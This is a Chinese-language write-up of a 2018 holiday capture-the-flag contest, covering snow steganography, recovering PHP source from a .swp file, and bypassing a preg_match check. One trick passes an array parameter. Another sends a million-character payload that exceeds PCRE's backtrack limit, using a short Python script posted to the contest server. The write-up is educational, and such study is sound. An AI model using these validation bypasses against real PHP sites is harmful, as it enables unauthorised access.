2018 春节圣诞节欢乐赛Writeup
WEB
Gift
题目给了一个网页,查看源码和扫了一下目录,并没有发现其他东西。
。。。 。。。陷入沉思。。。 。。。
之后放出hint:有一个秘密在雪中。 以为是图片隐写,搞了半天也没发现什么线索;后来大佬提示snow隐写网站。是一个网页的隐写加解密。
直接解密提示这个,什么乱七八糟的,看不懂略过。。。
后来才发现要密码才能解密(还是太鲁莽,得改),那密码究竟是啥呢?忽然想到题目中那句话:(你还想听后续?没了没了~//我才不会对你透露钥匙上刻了题目名呢)
原来密码就是题目名:gift,解密得到flag。
贴上解密网站:http://fog.misty.com/perry/ccs/snow/snow/snow.html
GIft php(签到题)
虽然圣诞节没太在意,但意思意思先贴上可爱的圣诞老人,
给了提示Do you know .swp file?这个我知道(//🤭)。打开url: /.index.php.swp下载了swp文件,直接notepad++打开,发现有代码但是不全。上网查了一下还原swp文件的方法,执行
vim -r index.php #swp文件为 ./.index.php.swp
因为懒,直接在pentestbox带的vim下执行命令发现无法恢复,然后只能打开Linux的系统在里面执行命令,果然index.php恢复了,拿到源码为:
1 <?php 2 function areyouok($greeting){ 3 return preg_match('/Merry.*Christmas/is',$greeting); //正则匹配 4 } 5 6 $greeting=@$_POST['greeting']; 8 if(!areyouok($greeting)){ 9 if(strpos($greeting,'Merry Christmas')!==false){ //字符查找,如果查找到返回字符的位置,没有就返回false 10 echo 'Merry Christmas. '.'flag{xxxxxx}'; 11 }else{ 12 echo 'Do you know .swp file?'; 13 } 14 }else{ 15 echo 'Do you know PHP?';17 } 18 ?>
这种我都是直接构造数组绕过greeting[]= 即可以绕过。谷歌的hackbar,丑加难用。
Gift php plus
打开题目发现步骤和之前一样,只是在之前的代码中中加了一个判断数组
1 <?php 2 function areyouok($greeting){ 3 return preg_match('/Merry.*Christmas/is',$greeting); 4 } 5 6 $greeting=@$_POST['greeting']; 7 if(!is_array($greeting)){ //此处加了数组判断 8 if(!areyouok($greeting)){ 9 if(strpos($greeting,'Merry Christmas')!==false){ 10 echo 'Merry Christmas. '.'flag{xxxxxx}'; 11 }else{ 12 echo 'Do you know .swp file?'; 13 } 14 }else{ 15 echo 'Do you know PHP?'; 16 } 17 } 18 ?>
一直没思路,后来发现群里提到了freebuf的一篇文章https://www.freebuf.com/articles/web/190794.html,去看了后慢慢复现出来。原来是让正则中的 .*匹配到后面的所有内容,然后再回溯匹配,因为回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,把字符长度加到100万以上,使其匹配超出限制返回false。
return preg_match('/Merry.*Christmas/is',$greeting);
写python代码跑一下,发现flag出来了。
贴上python代码:
1 #!/usr/bin/env python3 2 # _*_ coding=utf-8 _*_ 3 # @Author :M1r4n 4 from requests import post 5 6 payload = {'greeting':'Merry Christmas'+'a' * 1000000} 7 res = post('http://106.75.66.87:8888/index.php',data=payload) 8 print(res.text)
感谢P神的详细教程:https://www.freebuf.com/articles/web/190794.html
Misc
gift collect
这个题完全是莫名其妙过的,我也不知道真正的是怎么做,等writeup吧!!哈哈哈
打开进度条拉到后面居然就出来了!!(惊奇)
但是,唉?怎么看不清楚,最后只好用win10自带的录屏把这段录下来,然后0.1倍慢放、暂停。哈哈机智如我(菜鸡办法)。
gift select
这个题真是让人激动,而且不止一哈。下载之后发现是个压缩包,然后解压,再解压。咦!!??,怎么这么多?竟然是100万个压缩包,我居然解压完了。打开第一个居然是flag,赶紧提交,果然没那么简单。竟然有一堆flag,但是是错误的。
题目提示:只有你的礼物比较特殊,是能一眼认出来的英文单词哦,但是为了增加游戏难度,我特意的把一些字母变成数字了)
一开始心没静下来,胡乱搞了几下,把100万个gz压缩包的内容提取出来,各种挫折(菜鸟泪奔),网上找了师傅的脚本跑出来,几经波折(其实是蠢)之后,搜索this,找到了给我的9ift。此处感叹做题心要静,一步一步来!!
贴上偷来的脚本:
1 #!/usr/bin/env python3 2 # _*_ coding=utf-8 _*_ 3 # @Author :M1r4n 4 import os 5 import gzip 6 7 # 那是因为你调用了read方法,而这个方法会把文件一股脑儿读取出来的 8 # 为了便于你迭代,你可以在这里使用一个生成器 9 def read_gz_file(path): 10 if os.path.exists(path): 11 with gzip.open(path, 'rt',errors='ignore') as pf: #errors 错误不显示 ? 12 for line in pf: 13 yield line 14 else: 15 print('the path [{}] is not exist!'.format(path)) 16 a = input() 17 b = input() 18 f = open('flags.txt','a') 19 for i in range(int(a),int(b)): 20 i = str(i).zfill(6) #让数字变为6位,符合文件命名。文件名这样的 sock_000001.gz 21 # print(i) 22 path = r'C:\Users\72427\Desktop\题目\mis3\gift select_9b1de2ae35363353d907c9cca312271d\Christmas_Socks\sock_{}.gz'.format(i) 23 con = read_gz_file(path=path) 24 if getattr(con, '__iter__', None): 25 for line in con: 26 # print(line) 27 if 'flag' in line: 28 # print(line) 29 f.write(line+'\n') 30 #break 31 f.close()
到此此次比赛就完了,最后那道mp3隐写,都没去看。等writeup出来瞧一下。五道题摸爬滚打搞出来四道,坚持努力学习相信越来越厉害!